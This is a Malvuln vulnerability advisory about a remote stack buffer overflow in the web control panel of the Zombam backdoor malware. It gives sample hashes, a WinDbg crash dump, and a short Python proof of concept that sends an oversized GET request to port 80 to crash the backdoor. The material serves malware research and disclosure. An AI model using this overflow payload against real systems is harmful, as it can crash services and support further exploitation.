Backdoor.Win32.Zombam.l malware suffers from a buffer overflow vulnerability.
7901fc008195aff8bcb3e8fc20459800Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9729e9fc004ea49d3c2ddee28736dae3.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Zombam.l
Vulnerability: Remote Stack Buffer Overflow
Description: Zombam malware listens on TCP port 80 to display an HTML Web UI for basic remote administration capability. Third-party attackers who can reach an infected system can make an HTTP GET request sending a long string to trigger a buffer overflow overwriting the EDX register
Type: PE32
MD5: 9729e9fc004ea49d3c2ddee28736dae3
Vuln ID: MVID-2021-0276
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/03/2021
Memory Dump:
(198.730): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=0283fa20 edx=41414141 esi=00000003 edi=00000003
eip=778eed3c esp=0283f0bc ebp=0283f24c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
778eed3c c21400 ret 14h
0:005> .ecxr
eax=0283f9f0 ebx=041d02d0 ecx=0283fa20 edx=41414141 esi=041d02d0 edi=004057d6
eip=004029e0 esp=0283f9d8 ebp=0283fa28 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
*** WARNING: Unable to verify checksum for httpserver.exe
*** ERROR: Module load completed but symbols could not be loaded for httpserver.exe
httpserver+0x29e0:
004029e0 8b4204 mov eax,dword ptr [edx+4] ds:002b:41414145=????????
0:005> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
httpserver+29e0
004029e0 8b4204 mov eax,dword ptr [edx+4]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 004029e0 (httpserver+0x000029e0)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414145
Attempt to read from address 41414145
PROCESS_NAME: httpserver.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 41414145
READ_ADDRESS: 41414145
FOLLOWUP_IP:
httpserver+29e0
004029e0 8b4204 mov eax,dword ptr [edx+4]
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00000730
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 00402574 to 004029e0
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0283fa28 00402574 41414141 0283fa40 00000415 httpserver+0x29e0
0283faa4 41414141 41414141 41414141 41414141 httpserver+0x2574
0283faa8 41414141 41414141 41414141 41414141 0x41414141
etc....
STACK_COMMAND: ~5s; .ecxr ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: httpserver+29e0
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: httpserver
IMAGE_NAME: httpserver.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 3eee00db
FAILURE_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_41414141_c0000005_httpserver.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_httpserver+29e0
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=80
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD="GET /"+"A"*15028+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
s.send(PAYLOAD)
s.close()
print("Backdoor.Win32.Zombam.l / Remote Stack Buffer Overflow")
print("MD5: 9729e9fc004ea49d3c2ddee28736dae3")
print("By Malvuln")
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